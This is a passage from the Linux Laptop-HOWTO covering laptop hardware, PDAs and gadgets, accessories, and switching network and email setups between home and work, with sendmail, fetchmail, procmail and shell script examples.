For tracking the packets on PPP you may use pppstats. Or pload this provides a graphical view of the traffic (in and out) of the PPP connection. It is based on athena widgets hence is very portable. It also uses very little CPU time. The home of pload is http://www.engr.utk.edu/~mdsmith/pload/ .

6.15 SCSI

Hardware Compatibility Check

If unsure about the right SCSI support, compile a kernel with all available SCSI drivers as modules. Load each module step by step until you get the right one.

Related HOWTOs

  1. SCSI-HOWTO

Survey

AFAIK there is no laptop yet with a SCSI harddisk. Though there are two models with a built in SCSI port: Texas Instruments TI 4000 and HP OmniBook 800. Maybe the PowerBook G3 has a SCSI disk, but I didn't check this yet. The old Apple Powerbook Duo models had a SCSI hard disk.

For other models, if you need SCSI support you may get it by using a SCSI-PCMCIA card or via a SCSI adapter in a docking station.

6.16 Universal Serial Bus - USB

Linux Compatibility Check

You should get information about the USB controller with cat /proc/pci and about USB devices with cat /proc/bus/usb/devices.

Miscelleaneous

Newer laptops come with the Universal Serial Bus (USB). I haven't tried it on any of my systems because I don't have any USB devices.

Visit http://www.linux-usb.org for the USB Linux home page. Also I have set up a page collecting information about laptops and USB at MobiliX .

6.17 Floppy Drive

Linux Compatibility Check

Usually there are no problems connecting a floppy drive to a Linux laptop. But with a laptop floppy drive you may sometimes not be able to use every feature. I encountered the superformat command (from the fdutils package) couldn't format more than 1.44MB with my HP OmniBook 800. You may also have difficulty when the floppy drive and CD drive are mutually exclusive, or when the floppy drive is a PCMCIA device (as with the Toshiba Libretto 100). With older laptops, there might be a minor problem if they use a 720K drive. AFAIK all distributions come with support for 1.44M (and sometimes 1.2M) floppies only. Though it's possible to install Linux anyway. Please see Installation chapter. Please see kernel documentation for boot time parameters concerning certain laptop floppy drives, for instance IBM ThinkPad. Or man bootparam .

6.18 CD Drive

Most notebooks today come with CD drives. If floppy and CD drive are swappable they are usually mutually exclusive. Sometimes they come as PCMCIA devices. Or as SCSI device (HP OmniBook 800). AFAIK there are discmans available which have a port to connect them to a computer or even a SCSI port. I found an article published by Ziff-Davis Publishing Company (September 1996 issue, but missed to note the URL) written by Mitt Jones: "Portable PC Card CD-ROM drives transform laptops into mobile multimedia machines", which listed: Altec Lansing AMC2000 Portable Multimedia CD-ROM Center; Axonix ProMedia 6XR; CMS PlatinumPortable; EXP CDS420 Multimedia Kit; H45 QuickPCMCIA CD; Liberty 115CD; Panasonic KXL-D740; Sony PRD-250WN CD-ROM Discman.

6.19 DVD Drive

The Linux Video and DVD Project has made great headway since its start last February. They have just released the source code ( http://livid.on.openprojects.net/css.tgz) so that a DVD decoder card can unlock and read the DVD. Also provided on the site are links to various documents discussing DVD chipset specifications. The Linux Video and DVD Project is avidly seeking help from the opensource community for development.

Universal Disk Format (UDF) Driver: "UDF is a newer CDROM filesystem standard that's required for DVD roms. It's meant to be a replacement for the ISO9660 filesystem used on today's CDROMs, but the immediate impact for most will be DVD. DVD multimedia cdroms use the UDF filesystem to contain MPEG audio and video streams. To access DVD cdroms you would need a DVD cdrom drive, the kernel driver for the cdrom drive, some kind of MPEG video support, and a UDF filesystem driver (like this one). Some DVD cdroms may contain both UDF filesystems and ISO9660 filesystems. In that case, you could get by without UDF support."

6.20 Harddisk

Linux Compatibility Check

Useful programms are hdparm, dmesg, fsck and fdisk .

Miscellaneous

Be careful when using your laptop abroad. I have heard about some destroyed harddisks due to a magnetic field emitted from the magnetic-holds at the backresttable of the seats in a german railway waggon.

Though I am quite satisfied with the quality of the harddisk in my laptop, when I removed it from the case I unintendedly dropped it, I recommend to be very careful.

Form Factors

AFAIK there is only one form factor for harddisks used in laptops the 2.5" format. This format seems to be available in different heights (Please note I couldn't verify this information yet):

  • 18mm: laptops build before 1996 usually have drives 18mm high
  • 12.7mm: I got a report about such disks but without a notebook model or manufacturer name
  • 11mm: since 1996 the drives are 11mm high
  • 9mm: many laptops, including the subnotebooks, now use a 9mm-high disk drive. The largest available in this format in late 1999 is IBM 12GN.
  • 9.5mm: Toshiba Libretto L70 and L100 have a 9.5mm HD
  • 8.45mm: Toshiba Libretto 20, 30, 50 and 60 have 8.45mm tall HDs
  • 6.35mm: Toshiba Libretto L1000 has a 6.35mm HD

It might be possible to use a hard disk wich doesn't fit with some case modifications.

Some laptops come with a removable hard disk in a tray, for instance the KAPOK 9600D. There seem to be no SCSI drives for laptops available.

6.21 Video Port / ZV Port

Some high end laptops come with a video or ZV port (NTSC/PAL). Since I don't have a laptop with a ZV or video port yet, I can provide only some URLs http://www.thp.uni-koeln.de/~rjkm/linux/bttv.html (driver) http://www.mathematik.uni-kl.de/~wenk/xwintv.html (tvviewer). For further information see video4linux at http://roadrunner.swansea.uk.linux.org/v4l.shtml. To collect information about laptops with video port I have setup a page at http://mobilix.org/ . Alternatively to the ZV port you might use the USB port.


Linux Laptop-HOWTO: Palmtops, Personal Digital Assistants - PDAs, Handheld PCs - HPCs

 Next Previous Contents

7. Palmtops, Personal Digital Assistants - PDAs, Handheld PCs - HPCs

Palmtops and PDAs are currently not much covered in this HOWTO. Anyway it may be useful therefore, too. I just include some links, most of them are from Kenneth E. Harker's page :

  1. Highly recommended is the page by Russell King ARM Linux about PDAs with ARM CPU and with links to other Linux related PDA sites.
  2. PalmOS-HOWTO (former Pilot-HOWTO) by David H. Silber.
  3. Newton and Linux Mini-HOWTO .
  4. Newtl: Newton/Linux Communications System Newtl allows a Linux machine to communicate with a Newton PDA. Automatically send e-mail, print, and fax outboxes through your Linux machine, and more.
  5. PilotLink and XCoPilot PilotLink is an utility that performs data transfers from 3com PalmPilot handheld computers to your Linux machine. XCoPilot is an emulator of the PalmPilot operating system that runs under Linux.
  6. PalmVNC is an implementation of the Virtual Network Client architecture that will allow you to use a Linux or other UNIX machine to put up a (tiny) X Window on a 3COM PalmPilot.
  7. PDAs and infrared remote control, see Hiromu Okada
  8. AFAIK you can run Linux on the IBM PC110 (a tiny PC handheld that's no longer manufactured). There's a HOWTO on it running around somewhere but I don't have an URL, instead I found a description in LINUX REDUX July 1997 by Alan Cox.
  9. For more information on Virtual Network Computing, see VNC .
  10. There is also the Handheld Systems(TM) On-line Archives and a search engine about palmtop related topics Palmtop.Net/ .
  11. I have setup a small page about Linux with PDAs and Handheld PCs, too.


Linux Laptop-HOWTO: Cellular Phones, Pagers, Calculators, Digital Cameras, Wearable Computing

 Next Previous Contents

8. Cellular Phones, Pagers, Calculators, Digital Cameras, Wearable Computing

Though in my opinion related to the topic, these devices are not much covered in this text, yet. For general information about Embedded Systems, see http://www.embedded.com . For Linux information, see ELKS and the uCLinux project. See news:comp.arch.embedded

8.1 Cellular Phones

For NOKIA cellular phones see GNOKII project . And Linux Nserver. This project aim is to produce a GPL replacement for Nokia's Windows Nserver, and maybe improve upon it along the way. Initially it will emulate the Windows 3.1 version (ie. allow backup, restore and install).

openWAP is an open source project for the implementation of the Wireless Application Protocol (WAP) for use with browsers, servers and tools. WAP is used by PDA devices, cell phones, pagers and other wireless devices to transmit internet content to these devices. The project is still in its early stages and nothing can be downloaded yet.

GSMLIB is a library to access GSM mobile phones through GSM modems. Features include: modification of phonebooks stored in the mobile phone or on the SIM card, reading and writing of SMS messages stored in the mobile phone, sending and reception of SMS messages. Additionally, some simple command line programs are provided to use these features.

8.2 Pagers - SMS Messages

QuickPage is a client/server software package that enables you to send messages to an alphanumeric pager. The client accepts a message from the user and forwards it to a server using SNPP. The server uses a modem to transmit the message to the recipient's paging service using the TAP protocol (also known as the IXO protocol).

mail2sms converts a (MIME) mail to a short message, allowing search/replace, conditional rules, date/time dependent actions, customizing the output format, etc. The output defaults to 160 characters, which is perfectly suitable for sending the text to a GSM telephone as an SMS message. This software does not include any code for actually sending the text to anything else but another program or stdout.

email2sms is a filter written in Perl which converts an e-mail into a form suitable for sending as an SMS message. Its main advantage over the alternatives is that it uses the CPAN module Lingua::EN::Squeeze to compress the text down to as little as 40% of its original size, so you can get much more of your e-mail into the 160 character limit imposed by SMS. It is fully MIME compatible, and has many configurable options, including removal of quoted text. Ideal for use with procmail. A Perl script for sending the output to a typical e-mail to SMS web gateway is included.

SMSLink implements a client/server gateway to the SMS protocol (short messages on the mobile phones). It requires the use of dedicated hardware though (a serial GSM module). Both SMS emission and reception are supported. The server only runs under Linux at the present time and also supports interactive mode via telnet. The command-line client already exists for Linux, Solaris and HP-UX. A basic web interface is provided. A Win32 client is in the works.

nmsms is a very simple program to announce incoming email to an SMS address (email address) defined at compile time. The original From: and Subject: header are included in each mail announced.

mepl is a software for 3COM/USRobotics Messagemodems to control the self-employed-mode. This program can be used for downloading the messages and saving or mailing them in gsm or fax-format.

8.3 Digital Cameras

For information about cellular phones and digital cameras see some links at my page about Linux with Infrared Devices and my IR-HOWTO.

Newsgroup: rec.photo.digital .

The Flashpath adapter is a diskette like device which is used to transfer data from a digital camera to a computer. See Flashpath for Linux and James Radley's flashpath homepage.

8.4 Calculators

Information about calculators e.g. HP-48 is at HP-Calculator.Org and Keith's HP-48 Page. HP-48 Kermit Hints and Tips shows how to talk to the HP48 via its serial-line Kermit protocol. The HP-48 may also be used as a Linux terminal.

See also at my page about Linux with Infrared Devices.

Backup utility for the CASIO diary. It is a package ported from DOS to allow communication to the CASIO series of hand-held organizers. It allows backup from CASIO to your computer and restore a backup file from your computer to the CASIO. It can also output human readable file from CASIO. Currently supports: phone, calendar, schedule, memo, and reminder. See also http://www.aloha.net/ alank/ http://www.casioworld.com , http://home.t-online.de/home/Milan.Urosevic/ and http://sunsite.unc.edu/pub/Linux/apps/

GtkTiLink is a program which allows you to transfer data between a Texas Instruments calculator and a computer. It works with all cables (parallel, serial, Black and Gray TI Graph Link). It supports the TI82, TI89, TI92 and TI92+ calculators. It can send/receive data and backups, make a capture of the calculator screen and do remote control.

8.5 Wearable Computing

Also related to this topic but not covered yet seems wearable computing, see http://lcs.www.media.mit.edu/projects/wearables/ , the page of Lionel, "trollhunter" Bouchpan-Lerust-Juery, http://infonomade.linuxfr.org/indexen.html for further information and http://wearables.blu.org and http://www.wearcomp.org/.

Sulawesi was developed due to the problems running a desktop GUI on a wearable computer. It has been designed and implemented to tackle what has been considered to be important challenges in a wearable user interface, the ability to accept input from any number of input devices, such as machine vision, speech recognition, portable keyboards, GPS devices, infra-red, etc. and to allow services to manipulate the information and generate a suitable output such as speech generation, graphics using a headmounted display, vibrotactile stimuli, etc. The Gili user interface has been updated, more documentation has been added, and the Spatial Reminder has been introduced.

8.6 Watches

The datalink library allows sending information to the Timex DataLink watches. The original datalink library supports the model 150 and possibly the model 70 watch. This version has been extended to work with the DataLink Ironman Triathlon watch. It has been tested with the SVGA output on the Ironman watch only, other output devices and other watches may or may not work, I have no reports either way. The display must be a CRT display (not a LCD).


Linux Laptop-HOWTO: Accessories

 Next Previous Contents

9. Accessories

9.1 PCMCIA Cards

Card Families

  1. Ethernet adapter
  2. Token Ring adapter
  3. Ethernet + Modem / GSM
  4. Fax-Modem / GSM adapter
  5. SCSI adapter
  6. I/O cards: RS232, LPT, RS422, RS485, GamePort, IrDA, Radio, Video
  7. Memory cards
  8. harddisks
  9. 2.5" harddisk adapters

For desktops there are PCMCIA slots for ISA and PCI bus available.

Source: http://www.lapshop.de

Linux Compatibility Check

With the command cardctl ident you may get information about your card. Put this information into /etc/pcmcia/config.opts if necessary. But this may not be enough to get the card to work, but works sometimes for no-name network cards or modem cards. If you get a card to work or have written a new driver please don't forget to announce this to the developer of the PCMCIA-CS package David Hinds . Look the current issue of his file SUPPORTED.CARDS to get information about supported cards.

Since there are not all cards mentioned I have set up a page PCMCIA Cards "Unofficially" Supported by Linux .

9.2 SmartCards

SmartCard reader, see Project Muscle - Movement for the Use of Smart Cards in a Linux Environment

9.3 Memory Technology Devices - RAM and Flash Cards

The Linux Memory Technology Device project aims to provide a unified subsystem for handling RAM and Flash cards (Memory Technology Devices). It is intended to be compatible with the Linux PCMCIA code, to prevent duplication of code and effort, yet its main target is small embedded systems, so it will be possible to compile the drivers into the kernel for use as a root filesystem, and a close eye will be kept on the memory footprint.

9.4 Printers

Survey about small mobile printers:

  1. CANON: BJC-80, for infrared connections to this printer see the links at my page about Linux and Infrared Devices
  2. CANON: BJ-30
  3. HP: DeskJet 340Cbi. This is a small, portable, low-duty-cycle printer. It prints either black, or color (3 color). I have had some problems with it loading paper. Overall, the small size and portability make it a nice unit for use with laptops. I use the HP 500/500C driver with Linux.
  4. Olivetti: JP-90

AFAIK only the HP and the BJC-80 machine have an infrared port. Pay attention to the supplied voltage of the power supply if you plan to travel abroad. Source: http://www.lapshop.de

9.5 Power and Phone Plugs, Power Supply

When travelling abroad you might consider to take a set of different power and phone plugs with you. Also, it's useful if you can change the input voltage of the power supply, for instance from 110V in the US to 220V in Germany. There also power supplies for 12V batteries from cars.

Some models of power plugs:

                ____
               / () \          _   _              _
frontal view: |()  ()|        (_)=(_)            (_)           N.N.
               ------

abbrevation.:    C13             C8              ??            PS/2

symbol......:    ??              ??              -O)-          N.N.
Caveats: Though some -O)- plug may seem to be compatible to your laptop, because of the according physical size, take extremely care it uses the same plus-minus voltage scheme, for instance plus for the inner ring and minus for the outer one. Often but not always there are the according symbols near the plug.

9.6 Bags and Suitcases

You probably wonder, why I include this topic here. But shortly after using my COMPAQ Armada 1592DT I recognized that the rear side of the machine (where the ports are arranged) was slightly damaged. Though I have taken much care when transporting the laptop, this was caused by putting the bag on the floor. It seems that the laptop has so much weight, that it bounces inside the bag on its own rear side. So I decided to put a soft pad into the bag before loading the laptop. A good bag is highly recommended if you take your laptop on trips, or take it home every night.

Laptops computers are frequently demolished in their carrying bag. The two main causes of demolition are poking the LC display and banging the edges.A good case has very stiff sides to spread out pokes, and lots of energy-absorbent padding around the edges to help when you whack it on the door jamb.Few cases actually have either of these features.

More laptops are lost to theft than damage, so camouflage is a wise too. Emerson, Tom # El Monte <TOMEMERSON@ms.globalpay.com> wrote: "I use for a laptop travelling bag: a Pyrex casserole carrier bag. Yup, you might think it odd to use a casserole bag for a laptop, but it turns out it has several advantages:

  • The one I use has a microwavable heating pad in it -- while I don't actually heat this pad (it's meant to keep food warm while in transport), it does provide padding underneath the laptop. The carrier I have only has a lower - heating - pad, but there is also a similar carrier that has both a lower - heating - pad and an upper - cooling - pad - placed in the freezer to get it cold - -- the intent is that you keep one or the other in the bag to keep your food hot or cold as desired. A secondary advantage to the - cooling pad - pad is that if you've - chilled - it before taking the computer out for the day, it will keep the CPU cooler while you're running the laptop...
  • the top of the bag has a zipper on three sides, so it - opens - the same way as my laptop -- I don't even need to take it out of the carrier to use the laptop
  • there is enough room at the side of the bag to store the external power supply, a regular Logitech mouseman, and the network - dongle - with BNC/TP ports - and if I had it, the modem/phone port as well -
  • there is enough clearance on top of the machine to include a handful of CD's or diskettes, if needed...
  • when it's left - unattended - in a car, it's less likely to be stolen -- think about it, if you were a thief walking through a parking lot and eyeing the contents of cars, a - laptop bag - is instantly recognizable as holding a laptop computer -- something that can be fenced at a pretty hefty profit, but if you saw a casserole carrier in the front seat of a car, would you think it contained anything OTHER than a casserole? - and probably half-eaten, at that... - Unless you are a hungry thief, chances are you'll skip this and move on...
  • likewise, I've heard that keeping a laptop computer in a diaper bag is another good - camouflage - technique -- who in their right mind is going to steal a bag of - dirty - diapers?"


Linux Laptop-HOWTO: Different Environments - On the Road

 Next Previous Contents

10. Different Environments - On the Road

10.1 Related HOWTOs

  1. Security-HOWTO
  2. Multiboot-with-LILO-mini-HOWTO
  3. Ethernet-HOWTO
  4. NET-3-HOWTO
  5. Offline-Mailing-mini-HOWTO
  6. Plip-mini-HOWTO
  7. Slip-PPP-Emulator-mini-HOWTO

10.2 Configuration Tools

NetEnv

Do you use your laptop in different network environments? At home? In the office? At a customers site?

If yes, the small package "netenv" might be useful for you. When booting your laptop it provides you with a simple interface from which you can choose the current network environment. The first time in a new environment, you can enter the basic data and save it for later reuse.

Netenv sets up a file containing variable assignments which describe the current environment. This can be used by the PCMCIA setup scheme, e.g. like the one that comes with Debian/GNU Linux and perhaps others.

The netenv data can be used for things like:

  1. Network Device: Configure the network device for different environments.
  2. Choose a proper XF86Config: Think of using your laptop standalone with touchpad vs. connected to a CRT monitor along with an external mouse. For example, a wheel mouse could be used when docked, but the driver is not compatible with the normal trackpoint or touchpad.
  3. Windowmanager: You can set up your windowmanager according to the current location of your machine.
  4. Printing Environment: The netenv data can easily be used to set up the printing environment.

Netenv is available as Debian/GNU Linux package as well as tarball. It depends on dialog(1) for the menu system. It is developed by Gerd Bavendiek bav@rw.sni.de you may get it at http://www.uni-bielefeld.de/~portgym/net/netenv.html .

divine

divine is an utility for people who use their machines in different networks all the time. "The idea is this:

  • you describe the possible networks in /etc/divine.conf, including one or more machines that are probably up (routers and NIS servers come to mind).
  • at boot time, you run divine.
  • divine starts a thread that injects fake arp requests into the network. The thread will try again up to three times, pausing 1 second between retries. If the last try times out again, the thread will print an error message, leave the interface in the original state and exit cleanly.
  • the main thread just looks for arp replies and exits if one is found.
  • You have one resolv.conf per network, for example /etc/resolv.conf.default and /etc/resolv.conf.work, and divine will symlink one of them to /etc/resolv.conf for you.
  • You can specify a proxy server plus port and divine will write the proxy server to /etc/proxy. This can be evaluated inside your shell startup script, like this (zsh):
    export http_proxy="http://`</etc/proxy`/"
    The included perl script edit-netscape-proxy.pl will edit the proxy settings in your Netscape 4 preferences file.
  • You can even specify an additional script to be run for each selection. You can use this to edit /etc/printcap or /etc/issue or do something else I forgot.

The point about divine in contrast to other solutions is that other solutions normally use ping or something like that. divine can check a large number of networks instantaneously, assuming that the machines you ping answer within one second (.4 seconds are normal on Ethernets). And pinging an unknown address will do an arp request anyway, so why not do an arp request in the first place?"

Mobile IP

From the NET3-4-HOWTO: "The term IP Mobility describes the ability of a host that is able to move its network connection from one point on the Internet to another without changing its IP address or losing connectivity. Usually when an IP host changes its point of connectivity it must also change its IP address. IP Mobility overcomes this problem by allocating a fixed IP address to the mobile host and using IP encapsulation (tunneling) with automatic routing to ensure that datagrams destined for it are routed to the actual IP address it is currently using."

HUT Mobile IP is a dynamical, hierarchical Mobile IP system for Linux operating system. The implementation enables a hierarchical model for IP mobility, thus decreasing the location update times as a mobile host moves. Dynamics system has been designed Wireless LAN technology in mind, and the system has optimized functionality for mobility in WLAN. There is now a mailing list available. You can join it by sending subscribe on the subject line to <dynamics-user-request@cs.hut.fi> - or you can simply check the mail archive.

Resources

  1. Linux Mobile-IP
  2. Linux Mobile IP from HP Labs Bristol by Manuel Rodríguez
  3. MosquitoNet Mobile IP
  4. Mobile IP at NUS
  5. Linux Mobile-IP
  6. Bay Area Research Wireless Access Network (BARWAN)

Sources: Kenneth E. Harker and Dag Brattli

DHCP/BootP

DHCP and BootP are also useful for working in different environments. Please see the DHCP-HOWTO and BootP-HOWTO.

PPPD Options

The pppd command can be configured via several different files: pppd file /etc/ppp/<your_options> .

/etc/init.d

You may even choose to do your configuration by editing the /etc/init.d files manually.

PCMCIA - Schemes

How can I have separate PCMCIA device setups for home and work? This is fairly easy using PCMCIA scheme support. Use two configuration schemes, called home and work. For details please read the according chapter in the PCMCIA-HOWTO by David Hinds.

Bootloaders

LILO

From http://www.mjedev.demon.co.uk/index.html <Martin J. Evans martin@mjedev.demon.co.uk> I have taken this recommendation: The first point to note is that init will take any arguments of the form name=value as environment variable assignments if they are not recognized as something else. This means you can set environment variables from the LILO boot prompt before your rc scripts run. I set the LOCATION environment variable depending on where I am when I boot Linux. e.g.

LILO: linux LOCATION=home
Or
LILO: linux LOCATION=work
Or simply
LILO: linux
where failing to set LOCATION means the same as LOCATION=home (i.e. my default). Instead of typing LOCATION=place each time you boot you can add an entry to your /etc/lilo.conf file and use the append instruction. e.g.
# Linux bootable partition for booting Linux at home
#
image = /vmlinuz
root = /dev/hda3
label = linux
read-only
# Linux bootable partition config ends
#
# Linux bootable partition for booting Linux at work
#
image = /vmlinuz
root = /dev/hda3
label = work
read-only
append="LOCATION=work"
# Linux bootable partition config ends
With the example above you can use "linux" for booting at home and "work" for booting at work.

Armed with the facility above, you can now edit the relevant rc scripts to test ENVIRONMENT before running ifconfig, setting up route etc.

Other Bootloaders

There are several other bootloaders which are often overlooked. Besides LILO, have a look at loadlin, CHooseOS (CHOS) (not GPL), GRand Unified Bootloader (GRUB), System Commander and take a look at ftp://metalab.unc.edu/pub/Linux/system/boot/loaders/. The NT boot loader or OS/2 boot loader may even be used.

X-Windows

From Steve <steve@cygnet.co.uk> I got a configuration for X windows with an external monitor: Note that I have introduced a neat trick! For my nice 17" monitor I start X with no options and get the default 16-bit 1152x864 display - but when using the LCD screen I specify a 15-bit display (startx -- -bpp 15) and get the correct 800x600 resolution automatically. This saves having to have two XConfig files.

E-Mail

A short introduction about how to setup email on a laptop used at home (dial-up) and work (ethernet) by Peter Englmaier <ppe@pa.uky.edu>:

Features

As a laptop user, I have special demands for my email setup. The setup described below, enables me to:

  • Read my email from home using a POP email server, which is supplied by my university, but could also be setup on a work place computer.
  • Write email from home with the right return address in the email (which does not mention my computer name).
  • Read/write my email while working on a workstation without access to my laptop or the POP email server (as a backup).
  • Read my email while working on my laptop connected to the ethernet of our institut.
  • Direct email while connected via ethernet (faster than the fetchmail method).
  • Indirect email (over pop mail server) while not connected to the ethernet at work (either at home via modem or somewhere else via ethernet).
  • Use any emailer, e.g. elm or the simple mail command.
  • Sort incomming email, delete spam, split email-collections (digests) into seperate emails

The configuration is based on sendmail, fetchmail, and a remote pop account for email.

Configuration of sendmail

This is the most complicated part. Having installed the sendmail-cf package, I created a file named /usr/lib/sendmail-cf/laptop.mc:

divert(-1)
include(`../m4/cf.m4')
define(`confDEF_USER_ID',''8:12'')
define(`confBIND_OPTS',`-DNSRCH -DEFNAMES')
define(`confDOMAIN_NAME',''pa.uky.edu'')   <---- here you define your domain
OSTYPE(`linux')
undefine(`UUCP_RELAY')
undefine(`BITNET_RELAY')
define(`SMART_HOST',`server1.pa.uky.edu')  <---- there we send outgoing email
define(`LUSER_RELAY',`server1.pa.uky.edu') <---- there we send mail to users my laptop does not know
MASQUERADE_AS(pa.uky.edu)                  <---- again the domain, we want to be seen as
FEATURE(allmasquerade)
FEATURE(nouucp)
FEATURE(nodns)
FEATURE(nocanonify)
FEATURE(redirect)
FEATURE(always_add_domain)
FEATURE(use_cw_file)
FEATURE(local_procmail)
MAILER(procmail)
MAILER(smtp)
HACK(check_mail3,`hash -a@JUNK /etc/mail/deny')
HACK(use_ip,`/etc/mail/ip_allow')
HACK(use_names,`/etc/mail/name_allow')
HACK(use_relayto,`/etc/mail/relay_allow')
HACK(check_rcpt4)
HACK(check_relay3)

This looks more complicated as it is. All it does is, that it redirectes outbound mail to server1 (SMART_HOST) and also mail for local users which are not known (LUSER_RELAY). That way, I can write email to my colleques without using their full email address. More important: the From line in my email points back to my MASQUARADE_AS domain and not directly to my laptop. If this where not the case, email returned with the reply button might not reach me. You must restart sendmail for changes to take effect. Note: this configuration is for Redhat 5.2 systems. You may have to change some details.

Now, all what is needed is to generate the /etc/sendmail.cf file m4 laptop.mc >/etc/sendmail.cf and to add all possible domain names my laptop should respond to in /etc/sendmail.cw:

# sendmail.cw - include all aliases for your machine here.
laptop
laptop.pa.uky.edu
128.17.18.30
guest1
guest1.somewhere.org

It is important to have all aliases in this file, otherwise sendmail will not accept the mail (and will reply we don't relay to the sender). Finally, you must now test the setup by sending email, replying to mail for all possible configurations. Any missconfiguration can result in loss of email.

Configuration for fetchmail on Laptop

One method to get the email into your machine is through fetchmail. Fetchmail periodically checks for new email at one or more remote mail servers. I use the following fetchmail configuration file (in my user home directory): fetchmailrc

set postmaster "myusername"
set daemon 900
poll pop.uky.edu with proto POP3
      user "mypopusername" there with password "mypoppassword" is mylaptopusername here

Fetchmail will just get the the email and send it to sendmail which will it deliver into your /var/spool/mail/$USER file.

Forward E-Mail to the Laptop

On my work station I have the following .forward file:

me@pop.acount.edu,me@server1

Here server1 is the machine where I keep my mailbox. All email is send to the pop account to be picked up later by my laptop (using fetchmail). However, when my laptop is connected via ethernet, I want my email to go directly to the laptop, instead of pop:

me@laptop,me@server1

In both cases, a backup of my email is send to server1 (where I also can read it, in case I cannot get my laptop). I keep/store all email on the laptop.

Switching is done by three script files and a crontab file (on the workstation):

forward_pop

#!/bin/sh
echo "me@pop.acount.edu,me@server1" > ${HOME}/.forward

forward_laptop

#!/bin/sh
echo "ppe@laptop,ppe@server1" > ${HOME}/.forward
crontab ${HOME}/mycrontab
${HOME}/utl/check_laptop

check_laptop

#!/bin/sh
if /usr/sbin/ping -c 1 laptop  >/dev/null 2>&1 ; then
   :
else
   # redirect mail to pop
   ${HOME}/utl/forward_pop
   sleep 10
   if /usr/sbin/ping -c 1 laptop  >/dev/null 2>&1 ; then
      # back to normal
      ${HOME}/utl/forward_laptop
   else
      # deactivate crontab check
      /bin/crontab -l | grep -v check_laptop >${HOME}/tmp/mycrontab.tmp
      /bin/crontab ${HOME}/tmp/mycrontab.tmp
      rm -f ${HOME}/tmp/mycrontab.tmp
   fi
fi

mycrontab

# mycrontab
0,10,20,30,40,50 * * * * ${HOME}/utl/check_laptop

Each time I connect the laptop to the ethernet, I have to run forward_laptop, and each time I disconnect I run forward_pop. In case I forget to run forward_pop, the crontab job runs it for me less then 10 minutes later. To do all that automatically, I change the network script files on my laptop as follows:

/sbin/ifdown (this script runs, whenever a network device is stopped, new stuff between BEGIN and END)

...
fi

# BEGIN new stuff
# turn off forwarding email
mail ppe <<EOF
turning off forwarding email
device = ${DEVICE}
hostname = `hostname`
EOF
if [ "${DEVICE}" = "eth0" -a "`hostname`"
= "laptop" ]; then
  su -lc "ssh -l myusername server1
utl/forward_pop" myusername >& /dev/null
fi
# END new stuff

ifconfig ${DEVICE} down
exec /etc/sysconfig/network-scripts/ifdown-post $CONFIG

Note, that the script checks for the value of hostname. In case, I am connected to a foreign ethernet, my hostname and ip-address will be something else, e.g. guest1.

/etc/sysconfig/network-scripts/ifup-post (this script is run, whenever a network device is started)

# Notify programs that have requested notification
do_netreport

# BEGIN new stuff
# check for email -- I'm using fetchmail for this
if [ "${DEVICE}" = "eth0" -o "${DEVICE}"
= "ppp0" ]; then
   su -lc fetchmail myusername >& /dev/null &
fi

# set clock if connected to ethernet, redirect email
if [ "${DEVICE}" = "eth0" -a dquot;`hostname`" = "zaphod" ]; then
   ( rdate -s server1 ; hwclock --systohc --utc ) >& /dev/null &
   # forward email
   su -lc "ssh -l myusername gradj utl/forward_laptop" myusername >& /dev/null &
fi
# END new stuff

exit 0

Processing Incomming E-Mail with procmail

This step is completely optional. The above described sendmail configuration calls procmail for each received email, but you could have called procmail using the .forward file (see the procmail man page). Procmail is a handy tool to block spam and to sort incomming email.

You need to setup a .procmailrc file to use procmail. See the man page for procmail, procmailrc, and procmailex (examples). My setup demonstrates, how to ignore certain email messages and split email-collections (digest) into pieces:

# -- mail filtering -- procmail is called by sendmail --
PATH=/bin:/usr/bin
MAILDIR=$HOME/Mail
LOGFILE=$MAILDIR/from
# keep in mind:
# use ":0:" when writing to a file
# use ":0"  when writing to a device, e.g. /dev/null, or send email

# - make first a backup of *all* incomming email (but ignore mail tagged below) -
:0 c:
*! ^Sissa-Repro
backup

# - keep only last 50 messages
:0 ic
| cd backup && rm -f dummy `ls -t msg.* | sed -e 1,50d`

# - delete email comming through the 'postdocs' email list, when
# it is not of any interest
:0
* ^From.*postdocs
* ^From.*Ernst Richter
/dev/null
:0
* ^From.*postdocs
* ^Subject.*card charge
/dev/null

# Split mailing list from the sissa preprint server into individual emails
# - this is quite complicated :(   I can flip through the list much
#   faster and ignore preprints which have uninteresting titles. Instead of
#   having to browse through the whole list, my mailer will just present a
#   list of papers.
# 1. split it in individual messages
:0
* ^From no-reply@xxx.lanl.gov
| formail +1 -de -A "Sissa-Repro: true" -s procmail

# 2. reformat messages a bit
# 2.1. extract 'Title:' from email-Body and add to email-header
as 'Subject:'
:0 b
* ^Sissa-Repro
*! ^Subject
TITLE=| formail -xTitle:
:0 a
|formail -A "Subject: $TITLE " -s procmail

# 2.2. store in my incomming sissa-email folder. Here, we could
#      also reject (and thereafter delete) uninteresting 'Subjects'
#      we could also mark more interesting subjects as urgend or send a copy
#      to regular mail box.
:0:
* ^Sissa-Repro
* ^Subject
*! ^replaced with
sissa

BTW, there is a tk GUI tool to configure procmail (I think it is called dotfiles).

Email with UUCP

Another possible solution for Email is to use UUCP. This software was made for disconnected machines, and is by far the easiest solution if you have several users on your laptop (we are talking about Unix, remember?), each with his/her own account.

Unlike what most people think, UUCP does not need a serial connection: it works fine over TCP/IP, so your UUCP partner can be any machine on the Internet, if it is reachable from your network attachment point. Here is the UUCP sys for a typical laptop:

system mylaptop
time any
chat "" \d\d\r\c ogin: \d\L word: \P
address uucp.mypartner.org
port TCP

More Info

Using a Laptop in Different Environments by Gerd Bavendiek . This article appeared in the August, 1997 issue of the Linux Gazette. This is an excellent, short technical article describing an easy way to setup your Linux notebook to boot into different network and printing configurations, especially useful for those who use their machines at home as well as other locations such as in the office, at school, or at a customer site.

10.3 Data Transport Between Different Machines

I don't have experience with this topic yet. So just a survey about some means of data transport and maintaining data consistency between different machines.

Hardware

  1. external harddisks
  2. ZIP drive

Wade Hampton wrote: "You may use MS-DOS formatted ZIP and floppy discs for data transfer. You may be able to also use LS120. If you have SCSI, you could use JAZ, MO or possibly DVD-RAM (any SCSI disc that you could write to). I have the internal ZIP for my Toshiba 700CT. It works great (I use automount to mount it). I use VFAT on the ZIP disks so I can move them to Windows boxes, Linux boxes, NT, give them to coworkers, etc. One problem, I must SHUTDOWN to swap the internal CD with the ZIP."

Software

Version Management Software

